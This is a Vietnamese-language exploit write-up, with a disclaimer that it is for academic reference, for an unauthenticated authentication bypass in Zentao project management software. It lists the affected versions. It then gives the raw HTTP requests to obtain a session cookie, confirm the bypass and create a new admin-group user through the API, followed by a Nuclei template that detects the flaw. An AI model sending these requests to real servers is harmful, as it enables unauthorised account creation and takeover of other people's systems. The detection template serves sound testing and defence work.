Mọi thông tin và công cụ đề cập trong bài viết chỉ mang tính chất tham khảo học thuật. Người dùng không được sử dụng các kỹ thuật này vào mục đích phi pháp. Vui lòng tuân thủ Luật An ninh mạng Trung Quốc.
- Tổng quan =====
1.1 Giới thiệu chung
Zentao là phần mềm quản lý dự án mã nguồn mở hỗ trợ các mô hình Scrum, Waterfall và Kanban. Phần mềm này bao phủ toàn bộ quy trình phát triển phần mềm từ yêu cầu, công việc, lỗi, test case, quản lý chất lượng đến kho tri thức tổ chức. Zentao cung cấp nhiều phiên bản: bản mã nguồn mở miễn phí, bản doanh nghiệp, bản cao cấp, bản IPD, Zentao Cloud và phiên bản DevOps Platform.
1.2 Mô tả vấn đề
Hệ thống quản lý Zentao tồn tại lỗ hổng vượt qua xác thực. Hacker không cần xác thực có thể gọi bất kỳ API nào và thay đổi mật khẩu người dùng. Sau đó có thể đăng nhập với quyền admin và kết hợp với lỗ hổng RCE chưa xác nhận để chiếm quyền điều khiển máy chủ.
1.3 Phạm vi ảnh hưởng
v16.x <= Zentao < v18.12 (bản mã nguồn)
v6.x <= Zentao < v8.12 (bản doanh nghiệp)
v3.x <= Zentao < v4.12 (bản cao cấp)
- Khai thác lỗ hổng =======
2.1 Lấy cookie
GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=jtexhqkbflxckrrolpbc&branch=luqmyuqbafmjejbvjixf HTTP/1.1
Host: {{hostname}}
Nhận đượcCookie: zentaosid=002c78f075e326c5cb0f496e8c30066a
2.2 Kiểm tra vượt qua
GET /zentao/api.php/v1/lists HTTP/1.1
Cookie: zentaosid=002c78f075e326c5cb0f496e8c30066a
Host: {{hostname}}
Kết quả trả về không phải là lỗi 401.
2.3 Thử nghiệm thêm người dùng
POST /zentao/api.php/v1/users HTTP/1.1
Cookie: zentaosid=XXXXXXX
Host: {{hostname}}
{"account":"test","password":"admin@123",
"realname":"test",
"role":"",
"group":"2"
}
Trả về mã 201 (Tạo thành công) chứng tỏ đã thêm tài khoản mới.
2.4 Xác thực
Đăng nhập bằng tài khoản vừa tạo
POC kiểm tra bằng NUCLEI
id: ChanDao_BypassAuth
info:
name: ChanDao_BypassAuth
author: ffff5
severity: medium
description: Lỗi vượt qua xác thực trong api.php của Zentao
reference:
- https://github.com/
- https://cve.mitre.org/
metadata:
max-request: 1
shodan-query: ""
requests:
- raw:
- |+
@timeout: 30s
GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=xevscpierwzxcolrlykp&branch=ejlyosowumhxetlxbfet HTTP/1.1
Host: {{Hostname}}
- |+
@timeout: 30s
GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=xevscpierwzxcolrlykp&branch=ejlyosowumhxetlxbfet HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
words:
- '"status":"success"'
- type: status
status:
- 200